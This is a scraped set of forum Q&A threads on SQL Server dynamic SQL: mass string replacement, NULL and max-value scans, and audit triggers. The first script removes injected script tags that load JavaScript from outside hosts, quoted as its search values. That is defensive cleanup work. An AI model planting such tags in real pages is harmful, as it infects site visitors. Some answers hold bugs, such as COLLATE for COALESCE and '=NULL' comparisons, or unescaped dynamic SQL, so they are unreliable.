I have the following script. It replaces all instances of #lookFor with #replaceWith in all tables in a database. However it doesn't work with text fields only varchar etc. Could this be easily adapted?
------------------------------------------------------------
-- Name: STRING REPLACER
-- Author: ADUGGLEBY
-- Version: 20.05.2008 (1.2)
--
-- Description: Runs through all available tables in current
-- databases and replaces strings in text columns.
------------------------------------------------------------
-- PREPARE
SET NOCOUNT ON
-- VARIABLES
DECLARE #tblName NVARCHAR(150)
DECLARE #colName NVARCHAR(150)
DECLARE #tblID int
DECLARE #first bit
DECLARE #lookFor nvarchar(250)
DECLARE #replaceWith nvarchar(250)
-- CHANGE PARAMETERS
--SET #lookFor = QUOTENAME('"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--')
--SET #lookFor = QUOTENAME('<script src=http://www.banner82.com/b.js></script>')
--SET #lookFor = QUOTENAME('<script src=http://www.adw95.com/b.js></script>')
SET #lookFor = QUOTENAME('<script src=http://www.script46.com/b.js></script>')
SET #replaceWith = ''
-- TEXT VALUE DATA TYPES
DECLARE #supportedTypes TABLE ( xtype NVARCHAR(20) )
INSERT INTO #supportedTypes SELECT XTYPE FROM SYSTYPES WHERE NAME IN ('varchar','char','nvarchar','nchar','xml')
--INSERT INTO #supportedTypes SELECT XTYPE FROM SYSTYPES WHERE NAME IN ('text')
-- ALL USER TABLES
DECLARE cur_tables CURSOR FOR
SELECT SO.name, SO.id FROM SYSOBJECTS SO WHERE XTYPE='U'
OPEN cur_tables
FETCH NEXT FROM cur_tables INTO #tblName, #tblID
WHILE ##FETCH_STATUS = 0
BEGIN
-------------------------------------------------------------------------------------------
-- START INNER LOOP - All text columns, generate statement
-------------------------------------------------------------------------------------------
DECLARE #temp VARCHAR(max)
DECLARE #count INT
SELECT #count = COUNT(name) FROM SYSCOLUMNS WHERE ID = #tblID AND
XTYPE IN (SELECT xtype FROM #supportedTypes)
IF #count > 0
BEGIN
-- fetch supported columns for table
DECLARE cur_columns CURSOR FOR
SELECT name FROM SYSCOLUMNS WHERE ID = #tblID AND
XTYPE IN (SELECT xtype FROM #supportedTypes)
OPEN cur_columns
FETCH NEXT FROM cur_columns INTO #colName
-- generate opening UPDATE cmd
SET #temp = '
PRINT ''Replacing ' + #tblName + '''
UPDATE ' + #tblName + ' SET
'
SET #first = 1
-- loop through columns and create replaces
WHILE ##FETCH_STATUS = 0
BEGIN
IF (#first=0) SET #temp = #temp + ',
'
SET #temp = #temp + #colName
SET #temp = #temp + ' = REPLACE(' + #colName + ','''
SET #temp = #temp + #lookFor
SET #temp = #temp + ''','''
SET #temp = #temp + #replaceWith
SET #temp = #temp + ''')'
SET #first = 0
FETCH NEXT FROM cur_columns INTO #colName
END
PRINT #temp
CLOSE cur_columns
DEALLOCATE cur_columns
END
-------------------------------------------------------------------------------------------
-- END INNER
-------------------------------------------------------------------------------------------
FETCH NEXT FROM cur_tables INTO #tblName, #tblID
END
CLOSE cur_tables
DEALLOCATE cur_tables
Yeah. What I ended up doing is I converted to varchar(max) on the fly, and the replace took care of the rest.
-- PREPARE
SET NOCOUNT ON
-- VARIABLES
DECLARE #tblName NVARCHAR(150)
DECLARE #colName NVARCHAR(150)
DECLARE #tblID int
DECLARE #first bit
DECLARE #lookFor nvarchar(250)
DECLARE #replaceWith nvarchar(250)
-- CHANGE PARAMETERS
SET #lookFor = ('bla')
SET #replaceWith = ''
-- TEXT VALUE DATA TYPES
DECLARE #supportedTypes TABLE ( xtype NVARCHAR(20) )
INSERT INTO #supportedTypes SELECT XTYPE FROM SYSTYPES WHERE NAME IN ('varchar','char','nvarchar','nchar','xml','ntext','text')
--INSERT INTO #supportedTypes SELECT XTYPE FROM SYSTYPES WHERE NAME IN ('text')
-- ALL USER TABLES
DECLARE cur_tables CURSOR FOR
SELECT SO.name, SO.id FROM SYSOBJECTS SO WHERE XTYPE='U'
OPEN cur_tables
FETCH NEXT FROM cur_tables INTO #tblName, #tblID
WHILE ##FETCH_STATUS = 0
BEGIN
-------------------------------------------------------------------------------------------
-- START INNER LOOP - All text columns, generate statement
-------------------------------------------------------------------------------------------
DECLARE #temp VARCHAR(max)
DECLARE #count INT
SELECT #count = COUNT(name) FROM SYSCOLUMNS WHERE ID = #tblID AND
XTYPE IN (SELECT xtype FROM #supportedTypes)
IF #count > 0
BEGIN
-- fetch supported columns for table
DECLARE cur_columns CURSOR FOR
SELECT name FROM SYSCOLUMNS WHERE ID = #tblID AND
XTYPE IN (SELECT xtype FROM #supportedTypes)
OPEN cur_columns
FETCH NEXT FROM cur_columns INTO #colName
-- generate opening UPDATE cmd
PRINT 'UPDATE ' + #tblName + ' SET'
SET #first = 1
-- loop through columns and create replaces
WHILE ##FETCH_STATUS = 0
BEGIN
IF (#first=0) PRINT ','
PRINT #colName +
' = REPLACE(convert(nvarchar(max),' + #colName + '),''' + #lookFor +
''',''' + #replaceWith + ''')'
SET #first = 0
FETCH NEXT FROM cur_columns INTO #colName
END
PRINT 'GO'
CLOSE cur_columns
DEALLOCATE cur_columns
END
-------------------------------------------------------------------------------------------
-- END INNER
-------------------------------------------------------------------------------------------
FETCH NEXT FROM cur_tables INTO #tblName, #tblID
END
CLOSE cur_tables
DEALLOCATE cur_tables
You can not use REPLACE on text-fields. There is a UPDATETEXT-command that works on text-fields, but it is very complicated to use. Take a look at this article to see examples of how you can use it to replace text:
http://www.sqlteam.com/article/search-and-replace-in-a-text-column
Related
declare #tab_name varchar(100)
declare #col_name varchar(100)
declare #sqlquery nvarchar(max)
declare cursor_table cursor
for
SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES --where table_name!='tab'
open cursor_table
fetch next from cursor_table into #tab_name
while ##fetch_status = 0
begin
declare cursor_count cursor
for
SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = #tab_name
open cursor_count
fetch next from cursor_count into #col_name
while ##FETCH_STATUS =0
begin
set #sqlquery='
select '+''''+#tab_name+''''+','+''''+ #col_name+''''+',count('+#col_name+') as count from '+#tab_name+' where ISNULL('+#col_name+','''') !='''' '
print #sqlquery
exec sp_executesql #sqlquery
fetch next from cursor_count into #col_name
End
CLOSE cursor_count
DEALLOCATE cursor_count
print #tab_name
fetch next from cursor_table into #tab_name
end
CLOSE cursor_table
DEALLOCATE cursor_table
I would approach it this way if I "needed" to get a count of all null values per column, per table.
This is very inefficient query and may take a while to execute as you are bound to perform multiple full table scans for all non-indexed fields. I would advise, for this exercise, that you limit it to a few tables.
SELECT CommandOrder=1,'DECLARE #TEMP TABLE(TableName NVARCHAR(100), ColumnName NVARCHAR(100), NullRecordCount INT)'
UNION
SELECT CommandOrder=3,
'INSERT #TEMP SELECT '''+S.Name+'.'+T.Name+''','''+C.Name+''', COUNT(*) FROM '+S.Name+'.'+T.Name+' WHERE COALESCE('+C.Name+',NULL)=NULL'
FROM
SYS.Columns C
INNER JOIN SYS.Tables T ON C.object_id = T.object_id
INNER JOIN SYS.Schemas S ON T.schema_id = S.schema_id
UNION
SELECT CommandOrder=4,'SELECT * FROM #TEMP T WHERE NullRecordCount > 0 ORDER BY TableName,ColumnName'
If it is a requirement to minimize it to one cursor at the very least, use this.
If you really have to use cursors, use FAST_FORWARD cursor option.
declare #tab_name varchar(100)
declare #col_name varchar(100)
declare #sqlquery nvarchar(max)
DECLARE #mainTable TABLE(
Id INT IDENTITY(1,1) PRIMARY KEY,
TABLE_NAME Varchar(500)
)
--GET TABLES data into main table
INSERT INTO #mainTable
SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES
DECLARE #startTables INT = 1
DECLARE #finalTables INT = 0
SELECT #finalTables = MAX(Id) FROM #mainTable
-- Do a while loop over id
WHILE #startTables <= #finalTables
BEGIN
-- Get the table name
SELECT #tab_name = TABLE_NAME FROM #mainTable WHERE Id = #startTables
-- Initialize cursor
declare cursor_count cursor
for
SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = #tab_name
open cursor_count
fetch next from cursor_count into #col_name
while ##FETCH_STATUS =0
begin
set #sqlquery='select '+''''+#tab_name+''''+','+''''+ #col_name+''''+',count('+#col_name+') as count from '+#tab_name+' where ISNULL('+#col_name+','''') !='''' '
print #sqlquery
exec sp_executesql #sqlquery
fetch next from cursor_count into #col_name
End
CLOSE cursor_count
DEALLOCATE cursor_count
print #tab_name
SET #startTables = #startTables + 1
END
To use no cursor at all, use this.
declare #tab_name varchar(100)
declare #col_name varchar(100)
declare #sqlquery nvarchar(max)
-- Table stores Id, table name, Query in one go.
DECLARE #secondaryTable TABLE(
Id INT IDENTITY(1,1) PRIMARY KEY,
TABLE_NAME Varchar(500),
Query Varchar(8000)
)
INSERT INTO #secondaryTable
SELECT a.TABLE_NAME, 'select '+''''+a.TABLE_NAME+''''+','+''''+ b.COLUMN_NAME+''''+',count('+b.COLUMN_NAME+') as count from '+a.TABLE_NAME+' where ISNULL('+b.COLUMN_NAME+','''') !='''' '
FROM INFORMATION_SCHEMA.TABLES a INNER JOIN INFORMATION_SCHEMA.COLUMNS b ON a.TABLE_NAME = b.TABLE_NAME
--SELECT * FROM #secondaryTable
DECLARE #startTables INT = 1
DECLARE #finalTables INT = 0
SELECT #finalTables = MAX(Id) FROM #secondaryTable
-- Loop through the table, get the table name and query. Execute the query.
WHILE #startTables <= #finalTables
BEGIN
SELECT #tab_name = TABLE_NAME, #sqlquery = Query FROM #secondaryTable WHERE Id = #startTables
print #sqlquery
exec sp_executesql #sqlquery
print #tab_name
SET #startTables = #startTables + 1
END
I am using SQL Server 2012.
The first part of my query is already answered in this thread. But I also want a second column that will show the corresponding maximum value of that column in its corresponding table.
I have tried this approach: use a function that takes in table name and column name as parameter and return the max value. But it is illegal to use dynamic SQL from a function. Moreover, i cannot seem to call a function from within a SELECT query.
I have also tried using stored procedure, but i cannot figure out how to call it and use it. Please suggest alternative ways to achieve this.
I am new to SQL Server.
Thanks
I think the easiest solution would be stored procedure. As far as I know:
Dynamic SQL can't be placed in functions
Dynamic SQL can't be place in OPENROWSET
I addition, if you write such procedure:
Beware of names containing spaces, qoutes (SQL injection possible)
MAX(column) on non-Indexed columns would require full scan (can be very slow)
Table and column names can be duplicated (placed in differend schemas)
Id duplicates and performance is not a problem, take a look at the following snippet:
CREATE PROC FindMaxColumnValues
#type sysname = '%',
#table sysname = '%'
AS
DECLARE #result TABLE (TableName sysname, ColumnName sysname, MaxValue NVARCHAR(MAX))
DECLARE #tab sysname
DECLARE #col sysname
DECLARE cur CURSOR FOR
SELECT TABLE_NAME TableName, COLUMN_NAME [Column Name]
FROM INFORMATION_SCHEMA.COLUMNS
WHERE DATA_TYPE LIKE #type and TABLE_NAME LIKE #table
OPEN cur
FETCH NEXT FROM cur INTO #tab, #col
WHILE ##FETCH_STATUS = 0
BEGIN
DECLARE #sql nvarchar(MAX) = 'SELECT '+QUOTENAME(#tab,'''')+' [TableName], '+QUOTENAME(#col, '''')+' [ColumnName], MAX('+QUOTENAME(#col)+') FROM '+QUOTENAME(#tab)
INSERT INTO #result EXEC(#sql)
FETCH NEXT FROM cur INTO #tab, #col
END
CLOSE cur
DEALLOCATE cur
SELECT * FROM #result
Samples:
--MAX of INT's
EXEC FindMaxColumnValues 'INT'
--MAX of INT's in tables matching 'TestTab%'
EXEC FindMaxColumnValues 'INT', 'TestTab%'
--MAX of ALL columns
EXEC FindMaxColumnValues
Results:
TableName ColumnName MaxValue
IdNameTest ID 2
TestTable ID 5
TestTable Number 3
TableName ColumnName MaxValue
TestTable ID 5
TestTable Number 3
TableName ColumnName MaxValue
UpdateHistory UpdateTime 2016-07-14 12:21:37.00
IdNameTest ID 2
IdNameTest Name T2
TestTable ID 5
TestTable Name F
TestTable Number 3
You can use the below SP and enhance it per your Need,
CRETE PROCEDURE Getmaxtablecolval
AS
BEGIN
CREATE TABLE #t
(
tablename VARCHAR(50),
columnname VARCHAR(50),
id INT,
counts INT
)
INSERT INTO #t
SELECT table_name [Table Name],
column_name [Column Name],
NULL,
NULL
FROM information_schema.columns
WHERE data_type = 'INT'
BEGIN TRAN
DECLARE #id INT
SET #id = 0
UPDATE #t
SET #id = id = #id + 1
COMMIT TRAN
DECLARE #RowCount INT
SET #RowCount = (SELECT Count(0)
FROM #t)
DECLARE #I INT
SET #I = 1
DECLARE #Counter INT
DECLARE #TName VARCHAR(50)
DECLARE #CName VARCHAR(50)
DECLARE #DynamicSQL AS VARCHAR(500)
WHILE ( #I <= #RowCount )
BEGIN
SELECT #TName = tablename
FROM #t
WHERE id = #I
SELECT #CName = columnname
FROM #t
WHERE id = #I
SET #DynamicSQL = 'Update #T Set Counts = '
+ '(Select ISNull(Max(' + #CName + '), 0) From '
+ #TName + ') Where Id = '
+ CONVERT(VARCHAR(10), #I)
--PRINT #DynamicSQL
EXEC (#DynamicSQL)
SET #I = #I + 1
END
SELECT *
FROM #t
END
go
Getmaxtablecolval
You can create a procedure out of this:
CREATE PROCEDURE GET_COLUMNS_WITH_MAX_VALUE
#COLUMN_TYPE NVARCHAR(50)
AS
BEGIN
-- SET NOCOUNT ON added to prevent extra result sets from
-- interfering with SELECT statements.
SET NOCOUNT ON;
-- DUMMY VARIABLE TO COPY STRUCTURE TO TEMP
DECLARE #DUMMY TABLE
(
TABLE_NAME NVARCHAR(50),
COLUMN_NAME NVARCHAR(50),
MAX_VALUE NVARCHAR(MAX)
)
-- CREATE TEMP TABLE FOR DYNAMIC SQL
SELECT TOP 0 * INTO #TABLE FROM #DUMMY
INSERT INTO #TABLE
(TABLE_NAME, COLUMN_NAME)
SELECT TABLE_NAME, COLUMN_NAME
FROM information_schema.columns where data_type = #COLUMN_TYPE
DECLARE #TABLE_NAME VARCHAR(50) -- database name
DECLARE #COLUMN_NAME VARCHAR(256) -- path for backup files
DECLARE db_cursor CURSOR FOR
SELECT TABLE_NAME, COLUMN_NAME
FROM #TABLE
OPEN db_cursor
FETCH NEXT FROM db_cursor INTO #TABLE_NAME, #COLUMN_NAME
WHILE ##FETCH_STATUS = 0
BEGIN
DECLARE #SQL NVARCHAR(MAX) = 'UPDATE #TABLE SET MAX_VALUE = (SELECT MAX([' + #COLUMN_NAME + ']) FROM [' + #TABLE_NAME + ']) '
+ 'WHERE [COLUMN_NAME] = ''' + #COLUMN_NAME + ''' AND TABLE_NAME = ''' + #TABLE_NAME + '''';
PRINT #SQL
EXEC (#SQL)
FETCH NEXT FROM db_cursor INTO #TABLE_NAME, #COLUMN_NAME
END
CLOSE db_cursor
DEALLOCATE db_cursor
SELECT * FROM #TABLE
DROP TABLE #TABLE
END
GO
Usage:
EXEC GET_COLUMNS_WITH_MAX_VALUE 'INT'
Results:
TABLE1 ID 50
TABLE2 ID 100
TABLE3 CarID 20
TABLE4 StudentID 30
I have a function that will return all items in all firms.Table names should be parametric.But I could not create a view from that function.Because I can not return a table.The returned value is a string. Please help.Thanks.
GO
IF OBJECT_ID(N'dbo.ufnGetContactInformation', N'TF') IS NOT NULL
DROP FUNCTION dbo.ufnGetContactInformation;
GO
CREATE FUNCTION dbo.ufnGetContactInformation()
RETURNS #retContactInformation TABLE
(
-- Columns returned by the function
firm nvarchar(50) NULL
)
AS
BEGIN
DECLARE #referans AS INT, #NRP AS INT
DECLARE #TABLE AS NVARCHAR(MAX)
SET #TABLE = ''
DECLARE YourCursorNameHere CURSOR READ_ONLY
FOR
select c1.NR, C2.NR
from L_caPIFIRM c1 WITH(nolock)
INNER JOIN L_CAPIPERIOD C2 WITH(nolock) ON C1.NR=C2.FIRMNR
OPEN YourCursorNameHere
FETCH NEXT FROM YourCursorNameHere INTO #referans, #NRP
WHILE ##FETCH_STATUS = 0
BEGIN
IF #TABLE = ''
SET #TABLE= 'SELECT FIRM=' + str(#referans) +', CODE FROM LG_' + SUBSTRING(('00'+ LTRIM(STR(#referans))),LEN(('00'+ LTRIM(STR(#referans))))-2,3)+ '_ITEMS'
ELSE
SET #TABLE= #TABLE + ' UNION SELECT FIRM=' + str(#referans) +', CODE FROM LG_' + SUBSTRING(('00'+ LTRIM(STR(#referans))),LEN(('00'+ LTRIM(STR(#referans))))-2,3)+ '_ITEMS'
FETCH NEXT FROM YourCursorNameHERE INTO #referans,#NRP
END
-- EXEC( #TABLE)
CLOSE YourCursorNameHere
DEALLOCATE YourCursorNameHere
--BEGIN
-- INSERT INTO select
-- END
RETURN;
END;
GO
Try to use dynamic sql .I didnt check it but maybe this is the way to do it...
RETURNS #retContactInformation varchar(max) -- not table
.
.
DECLARE #sql nvarchar(max)
DECLARE #sqlx nvarchar(max)=dbo.ufnGetContactInformation()
set #sql='CREATE VIEW [aaa]
AS
'+ #sqlx+''
EXECUTE sp_executesql #SQL
instead of cursor try while loop
CREATE TABLE #tempo (id INT IDENTITY (1,1),c1nr varchar(10),c2nr varchar(10))
insert into #tempo
select c1.NR, C2.NR
from L_caPIFIRM c1 WITH(nolock)
INNER JOIN L_CAPIPERIOD C2 WITH(nolock) ON C1.NR=C2.FIRMNR
DECLARE #i int = (SELECT count(*) FROM #tempo)
DECLARE #id int=1
WHILE #i!=0
BEGIN
SELECT #referans=c1nr,
#table =IIF ((#TABLE = ''),
'SELECT FIRM=' + str(#referans) +', CODE FROM LG_' + SUBSTRING(('00'+ LTRIM(STR(#referans))),LEN(('00'+ LTRIM(STR(#referans))))-2,3)+ '_ITEMS',
#TABLE + ' UNION SELECT FIRM=' + str(#referans) +', CODE FROM LG_' + SUBSTRING(('00'+ LTRIM(STR(#referans))),LEN(('00'+ LTRIM(STR(#referans))))-2,3)+ '_ITEMS' )
from #tmpo
where id=#id
set #id=#id+1
set #i=#i-1
END
Is there a generic stored procedure to audit the table. I have actually made one but I don't think its efficient and the stored procedure is quite long. If someone knows a better way to do it then please help me out...!
This is my table trigger.
ALTER TRIGGER [dbo].[Trigger3]
ON [dbo].[UserInfo]
AFTER Update
AS
BEGIN
SET NOCOUNT ON;
DECLARE #TABLENAME VARCHAR(50)
DECLARE #var varbinary
SELECT * INTO #TEMPINSERTED FROM inserted
SELECT * INTO #TEMPDELETED FROM deleted
SET #var = COLUMNS_UPDATED()
EXEC TetsProc #TEMPINSERTED, #TEMPDELETED, ##PROCID, #var
DROP TABLE #TEMPINSERTED
DROP TABLE #TEMPDELETED
END
This is my stored procedure
ALTER PROCEDURE [dbo].[TetsProc]
( #insertTable varchar(max),
#deleteTable varchar(max),
#IDZ varchar(max),
#var1 varbinary
)
AS
BEGIN
-- SET NOCOUNT ON added to prevent extra result sets from
-- interfering with SELECT statements.
SET NOCOUNT ON;
DECLARE #TABLE AS TABLE (COL_NAME NVARCHAR(MAX))
DECLARE #idTable INT
SELECT #idTable = T.id
FROM sysobjects P JOIN sysobjects T ON P.parent_obj = T.id
WHERE P.id = #IDZ
declare #q1 nvarchar(max),#q2 nvarchar(max)
set #q1 = 'select * from ' + #insertTable
set #q2 = 'select * from ' + #deleteTable
DECLARE #TABLENAME NVARCHAR(250)
SELECT #TABLENAME = OBJECT_NAME(parent_obj)
FROM sysobjects WHERE ID = #IDZ
----RETURN COLUMNS IF THEY ARE UPDATED----
SELECT #idTable = T.id
FROM sysobjects P JOIN sysobjects T ON P.parent_obj = T.id
WHERE P.id = ##procid
DECLARE #Columns_UpdateD VARCHAR(50)
SELECT #Columns_Update = ISNULL(#Columns_Updated + ', ', '') + name
FROM syscolumns
WHERE id = #idTable
AND CONVERT(VARBINARY,REVERSE(#var1)) & POWER(CONVERT(BIGINT, 2), colorder - 1) > 0
select status into #TmpcolumnsUpdated from dbo.ParseByComma(#Columns_UpdateD)
DECLARE #QRY1 NVARCHAR(MAX)
DECLARE #QRY2 NVARCHAR(MAX)
declare #column_name varchar(50)
DECLARE cursorColumnName CURSOR FOR
select status from #TmpcolumnsUpdated
OPEN cursorColumnName
FETCH NEXT FROM cursorColumnName INTO #column_name
WHILE ##FETCH_STATUS = 0
BEGIN
SET #QRY1= 'SELECT '+#column_name + ' FROM '+ #insertTable
SET #QRY2= 'SELECT '+#column_name + ' FROM ' + #deleteTable
DECLARE #tab AS TABLE (OLD_COL VARCHAR(10))
DECLARE #tab1 AS TABLE (NEW_COL VARCHAR(10))
INSERT into #tab EXECUTE sp_executesql #QRY2
INSERT into #tab1 EXECUTE sp_executesql #QRY1
DECLARE #OLD_VALUE VARCHAR(MAX)=(SELECT OLD_COL FROM #tab)
DECLARE #NEW_VALUE VARCHAR(MAX)=(SELECT NEW_COL FROM #tab1)
IF(#OLD_VALUE!=#NEW_VALUE)
BEGIN
INSERT INTO UpdateInfo (Table_Name,Col_Name,Old_Value,New_Value,Time)
(
SELECT
#TABLENAME,
#column_name,
#OLD_VALUE,
#NEW_VALUE,
GETDATE()
)
SELECT * FROM UpdateInfo
END
DELETE FROM #tab
DELETE FROM #tab1
FETCH NEXT FROM cursorColumnName INTO #column_name
END
CLOSE cursorColumnName
DEALLOCATE cursorColumnName
drop table #TmpcolumnsUpdated
END
Looks like a sure way to drag down the performance of your server.
If you are using SQL Server 2012, I'd recommend you to check out Sql Server Audit instead.
If you have to stick with your mechanism, at the very least lose the cursor in the PROC.
How do I select all the columns in a table that only contain NULL values for all the rows? I'm using MS SQL Server 2005. I'm trying to find out which columns are not used in the table so I can delete them.
Here is the sql 2005 or later version: Replace ADDR_Address with your tablename.
declare #col varchar(255), #cmd varchar(max)
DECLARE getinfo cursor for
SELECT c.name FROM sys.tables t JOIN sys.columns c ON t.Object_ID = c.Object_ID
WHERE t.Name = 'ADDR_Address'
OPEN getinfo
FETCH NEXT FROM getinfo into #col
WHILE ##FETCH_STATUS = 0
BEGIN
SELECT #cmd = 'IF NOT EXISTS (SELECT top 1 * FROM ADDR_Address WHERE [' + #col + '] IS NOT NULL) BEGIN print ''' + #col + ''' end'
EXEC(#cmd)
FETCH NEXT FROM getinfo into #col
END
CLOSE getinfo
DEALLOCATE getinfo
SELECT cols
FROM table
WHERE cols IS NULL
This should give you a list of all columns in the table "Person" that has only NULL-values. You will get the results as multiple result-sets, which are either empty or contains the name of a single column. You need to replace "Person" in two places to use it with another table.
DECLARE crs CURSOR LOCAL FAST_FORWARD FOR SELECT name FROM syscolumns WHERE id=OBJECT_ID('Person')
OPEN crs
DECLARE #name sysname
FETCH NEXT FROM crs INTO #name
WHILE ##FETCH_STATUS = 0
BEGIN
EXEC('SELECT ''' + #name + ''' WHERE NOT EXISTS (SELECT * FROM Person WHERE ' + #name + ' IS NOT NULL)')
FETCH NEXT FROM crs INTO #name
END
CLOSE crs
DEALLOCATE crs
Or did you want to just see if a column only has NULL values (and, thus, is probably unused)?
Further clarification of the question might help.
EDIT:
Ok.. here's some really rough code to get you going...
SET NOCOUNT ON
DECLARE #TableName Varchar(100)
SET #TableName='YourTableName'
CREATE TABLE #NullColumns (ColumnName Varchar(100), OnlyNulls BIT)
INSERT INTO #NullColumns (ColumnName, OnlyNulls) SELECT c.name, 0 FROM syscolumns c INNER JOIN sysobjects o ON c.id = o.id AND o.name = #TableName AND o.xtype = 'U'
DECLARE #DynamicSQL AS Nvarchar(2000)
DECLARE #ColumnName Varchar(100)
DECLARE #RC INT
SELECT TOP 1 #ColumnName = ColumnName FROM #NullColumns WHERE OnlyNulls=0
WHILE ##ROWCOUNT > 0
BEGIN
SET #RC=0
SET #DynamicSQL = 'SELECT TOP 1 1 As HasNonNulls FROM ' + #TableName + ' (nolock) WHERE ''' + #ColumnName + ''' IS NOT NULL'
EXEC sp_executesql #DynamicSQL
set #RC=##rowcount
IF #RC=1
BEGIN
SET #DynamicSQL = 'UPDATE #NullColumns SET OnlyNulls=1 WHERE ColumnName=''' + #ColumnName + ''''
EXEC sp_executesql #DynamicSQL
END
ELSE
BEGIN
SET #DynamicSQL = 'DELETE FROM #NullColumns WHERE ColumnName=''' + #ColumnName+ ''''
EXEC sp_executesql #DynamicSQL
END
SELECT TOP 1 #ColumnName = ColumnName FROM #NullColumns WHERE OnlyNulls=0
END
SELECT * FROM #NullColumns
DROP TABLE #NullColumns
SET NOCOUNT OFF
Yes, there are easier ways, but I have a meeting to go to right now. Good luck!
Here is an updated version of Bryan's query for 2008 and later. It uses INFORMATION_SCHEMA.COLUMNS, adds variables for the table schema and table name. The column data type was added to the output. Including the column data type helps when looking for a column of a particular data type. I didn't added the column widths or anything.
For output the RAISERROR ... WITH NOWAIT is used so text will display immediately instead of all at once (for the most part) at the end like PRINT does.
SET NOCOUNT ON;
DECLARE
#ColumnName sysname
,#DataType nvarchar(128)
,#cmd nvarchar(max)
,#TableSchema nvarchar(128) = 'dbo'
,#TableName sysname = 'TableName';
DECLARE getinfo CURSOR FOR
SELECT
c.COLUMN_NAME
,c.DATA_TYPE
FROM
INFORMATION_SCHEMA.COLUMNS AS c
WHERE
c.TABLE_SCHEMA = #TableSchema
AND c.TABLE_NAME = #TableName;
OPEN getinfo;
FETCH NEXT FROM getinfo INTO #ColumnName, #DataType;
WHILE ##FETCH_STATUS = 0
BEGIN
SET #cmd = N'IF NOT EXISTS (SELECT * FROM ' + #TableSchema + N'.' + #TableName + N' WHERE [' + #ColumnName + N'] IS NOT NULL) RAISERROR(''' + #ColumnName + N' (' + #DataType + N')'', 0, 0) WITH NOWAIT;';
EXECUTE (#cmd);
FETCH NEXT FROM getinfo INTO #ColumnName, #DataType;
END;
CLOSE getinfo;
DEALLOCATE getinfo;
You can do:
select
count(<columnName>)
from
<tableName>
If the count returns 0 that means that all rows in that column all NULL (or there is no rows at all in the table)
can be changed to
select
case(count(<columnName>)) when 0 then 'Nulls Only' else 'Some Values' end
from
<tableName>
If you want to automate it you can use system tables to iterate the column names in the table you are interested in
If you need to list all rows where all the column values are NULL, then i'd use the COLLATE function. This takes a list of values and returns the first non-null value. If you add all the column names to the list, then use IS NULL, you should get all the rows containing only nulls.
SELECT * FROM MyTable WHERE COLLATE(Col1, Col2, Col3, Col4......) IS NULL
You shouldn't really have any tables with ALL the columns null, as this means you don't have a primary key (not allowed to be null). Not having a primary key is something to be avoided; this breaks the first normal form.
Try this -
DECLARE #table VARCHAR(100) = 'dbo.table'
DECLARE #sql NVARCHAR(MAX) = ''
SELECT #sql = #sql + 'IF NOT EXISTS(SELECT 1 FROM ' + #table + ' WHERE ' + c.name + ' IS NOT NULL) PRINT ''' + c.name + ''''
FROM sys.objects o
JOIN sys.columns c ON o.[object_id] = c.[object_id]
WHERE o.[type] = 'U'
AND o.[object_id] = OBJECT_ID(#table)
AND c.is_nullable = 1
EXEC(#sql)
Not actually sure about 2005, but 2008 ate it:
USE [DATABASE_NAME] -- !
GO
DECLARE #SQL NVARCHAR(MAX)
DECLARE #TableName VARCHAR(255)
SET #TableName = 'TABLE_NAME' -- !
SELECT #SQL =
(
SELECT
CHAR(10)
+'DELETE FROM ['+t1.TABLE_CATALOG+'].['+t1.TABLE_SCHEMA+'].['+t1.TABLE_NAME+'] WHERE '
+(
SELECT
CASE t2.ORDINAL_POSITION
WHEN (SELECT MIN(t3.ORDINAL_POSITION) FROM INFORMATION_SCHEMA.COLUMNS t3 WHERE t3.TABLE_NAME=t2.TABLE_NAME) THEN ''
ELSE 'AND '
END
+'['+COLUMN_NAME+'] IS NULL' AS 'data()'
FROM INFORMATION_SCHEMA.COLUMNS t2 WHERE t2.TABLE_NAME=t1.TABLE_NAME FOR XML PATH('')
) AS 'data()'
FROM INFORMATION_SCHEMA.TABLES t1 WHERE t1.TABLE_NAME = #TableName FOR XML PATH('')
)
SELECT #SQL -- EXEC(#SQL)
Here I have created a script for any kind of SQL table. please copy this stored procedure and create this on your Environment and run this stored procedure with your Table.
exec [dbo].[SP_RemoveNullValues] 'Your_Table_Name'
stored procedure
GO
/****** Object: StoredProcedure [dbo].[SP_RemoveNullValues] Script Date: 09/09/2019 11:26:53 AM ******/
SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO
-- akila liyanaarachchi
Create procedure [dbo].[SP_RemoveNullValues](#PTableName Varchar(50) ) as
begin
DECLARE Cussor CURSOR FOR
SELECT COLUMN_NAME,TABLE_NAME,DATA_TYPE
FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME = #PTableName
OPEN Cussor;
Declare #ColumnName Varchar(50)
Declare #TableName Varchar(50)
Declare #DataType Varchar(50)
Declare #Flage int
FETCH NEXT FROM Cussor INTO #ColumnName,#TableName,#DataType
WHILE ##FETCH_STATUS = 0
BEGIN
set #Flage=0
If(#DataType in('bigint','numeric','bit','smallint','decimal','smallmoney','int','tinyint','money','float','real'))
begin
set #Flage=1
end
If(#DataType in('date','atetimeoffset','datetime2','smalldatetime','datetime','time'))
begin
set #Flage=2
end
If(#DataType in('char','varchar','text','nchar','nvarchar','ntext'))
begin
set #Flage=3
end
If(#DataType in('binary','varbinary'))
begin
set #Flage=4
end
DECLARE #SQL VARCHAR(MAX)
if (#Flage in(1,4))
begin
SET #SQL =' update ['+#TableName+'] set ['+#ColumnName+']=0 where ['+#ColumnName+'] is null'
end
if (#Flage =3)
begin
SET #SQL =' update ['+#TableName+'] set ['+#ColumnName+'] = '''' where ['+#ColumnName+'] is null '
end
if (#Flage =2)
begin
SET #SQL =' update ['+#TableName+'] set ['+#ColumnName+'] ='+'''1901-01-01 00:00:00.000'''+' where ['+#ColumnName+'] is null '
end
EXEC(#SQL)
FETCH NEXT FROM Cussor INTO #ColumnName,#TableName,#DataType
END
CLOSE Cussor
DEALLOCATE Cussor
END
You'll have to loop over the set of columns and check each one. You should be able to get a list of all columns with a DESCRIBE table command.
Pseudo-code:
foreach $column ($cols) {
query("SELECT count(*) FROM table WHERE $column IS NOT NULL")
if($result is zero) {
# $column contains only null values"
push #onlyNullColumns, $column;
} else {
# $column contains non-null values
}
}
return #onlyNullColumns;
I know this seems a little counterintuitive but SQL does not provide a native method of selecting columns, only rows.
I would also recommend to search for fields which all have the same value, not just NULL.
